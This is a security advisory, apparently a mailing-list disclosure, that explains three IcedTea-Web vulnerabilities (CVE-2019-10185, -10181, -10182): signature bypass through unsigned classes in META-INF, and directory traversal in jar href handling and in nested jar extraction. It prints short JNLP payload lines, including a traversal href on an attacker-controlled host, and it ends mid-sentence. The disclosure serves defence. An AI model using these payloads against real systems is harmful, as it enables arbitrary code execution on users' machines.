IcedTeaWeb is an open source implementation of JSR-56 that is better
known as Java Web Start.
It is currently maintained by RedHat and is included into the Windows
packages of OpenJDK by default.

"Three security issues were found in ITW, and have been discussed and
are going to be fixed.
Those are CVE-2019-10185 CVE-2019-10181 CVE-2019-10182"

The vulnerabilities described below could be exploited by man in the
middle attackers or parties
having write permission on where the jnlp files were hosted.

The affected versions are 1.7.2 and below, 1.8.2 and below. 1.6 is
also vulnerable and not patched due to being EOL.

Some additional info and PoC files can be found here:


In line with the requirements, IcedTea-Web forces presence of
signatures on webstart projects by default.

However, the implementation considers jar archives fully signed even
when unsigned class files are residing in the META-INF folder. An MitM
attacker could inject extra code to the jar archive and get it invoked
by specifying it via the main-class attribute of application-desc:

<application-desc main-class="META-INF.Test" />

The dash is not among the allowed characters in Java identifiers, so a
class with this package name cannot be produced via a legit compiler,
but the bytecode verifier accepts crafted class files with dash in the
package name happily.

The code would be executed in the Java sandbox.


Processing of the href attribute of the jar node was vulnerable to
directory traversal.

<jar href="http://attacker-controlled-site/../../../../../XXX.any";

Considering the line above, the file XXX.any is saved out of the cache
directory, overwriting the destination if it already exists. This is
effectively an (over)write-what-where primitive on the filesystem,
which could be used to execute arbitrary code (eg. via placing a batch
file in the startup folder).

This was exploitable on Windows only, where the operating system
normalizes the paths before traversing them.


IcedTea-Web features extracting nested jar files from the primary ones.

The nested jar auto-extraction feature is vulnerable to directory
traversal. Combining this with  CVE-2019-10181 and crafting jar files
with META-INF/../../../whatever.jar pattern in their zip entries, they
don't need to be signed and are followed and extracted outside of the
cache directory, leading to arbitrary code execution again.

As an alternative approach, I found it was also possible to overwrite
the main jar itself, so later on when it was actually executed, the
framework launched external, unsigned arbitrary code with full


Reply via email to